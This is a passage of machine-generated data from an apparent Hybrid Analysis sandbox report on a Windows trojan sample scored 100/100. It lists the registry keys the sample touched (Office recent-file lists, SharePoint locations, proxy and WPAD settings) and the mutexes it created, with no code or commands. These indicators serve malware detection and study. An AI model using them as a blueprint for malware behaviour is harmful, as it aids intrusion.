30","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 1\\SITE 1","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 2\\SITE 2","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 3\\SITE 3","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 4\\SITE 4","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 5\\SITE 5","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 6\\SITE 6","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 7\\SITE 7","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 8\\SITE 8","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 9\\SITE 9","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 10\\SITE 10","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 11\\SITE 11","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 12\\SITE 12","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 13\\SITE 13","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 14\\SITE 14","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 15\\SITE 15","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 16\\SITE 16","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 17\\SITE 17","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 18\\SITE 18","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 19\\SITE 19","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\RECENT LOCATIONS\\SHAREPOINT\\SITE 20\\SITE 20","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 42\\ITEM 42","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 43\\ITEM 43","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 44\\ITEM 44","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 45\\ITEM 45","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 46\\ITEM 46","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 47\\ITEM 47","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 48\\ITEM 48","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 49\\ITEM 49","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\FILE MRU\\ITEM 50\\ITEM 50","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\H-4\\H-4","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\J*4\\J*4","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{EC814DF5-6D42-43EC-9EED-DA58E10CAEC7}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\00-00-5E-00-01-01\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYSERVER\\PROXYSERVER","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\PROXYOVERRIDE\\PROXYOVERRIDE","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTOCONFIGURL\\AUTOCONFIGURL","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"key":"HKU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\AUTODETECT\\AUTODETECT","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-62922","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Global\\552FFA80-3393-423d-8671-7BA046BB5906","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Local\\x64_10MU_ACB10_S-1-5-5-0-62922","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACBPIDS_S-1-5-5-0-62922","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACB10_S-1-5-5-0-62922","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\I5FC4CE9C","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\M5FC4CE9C","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Global\\M5FC4CE9C","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"Global\\I5FC4CE9C","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\BaseNamedObjects\\Global\\I5FC4CE9C","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"name":"\\BaseNamedObjects\\Global\\M5FC4CE9C","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]}]}},"report_ids":{"sandbox_job_ids":["5d97b0d4028838be51980104"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.9FDEFC33 Sample 97dbf6429c8a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 97dbf6429c8a…. Malware family: Trojan.9FDEFC33. Threat score 100/100. 18/28 AV engines flagged this file. 9 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/97dbf6429c8a30409272c98cb8906656454885de9bc7396b54a0dfd86de0429f"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.9FDEFC33 Sample 97dbf6429c8a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 97dbf6429c8a…. Malware family: Trojan.9FDEFC33. Threat score 100/100. 18/28 AV engines flagged this file. 9 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/97dbf6429c8a30409272c98cb8906656454885de9bc7396b54a0dfd86de0429f"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.9FDEFC33 Sample 97dbf6429c8a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 97dbf6429c8a…. Malware family: Trojan.9FDEFC33. Threat score 100/100. 18/28 AV engines flagged this file. 9 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L35","11",{}]]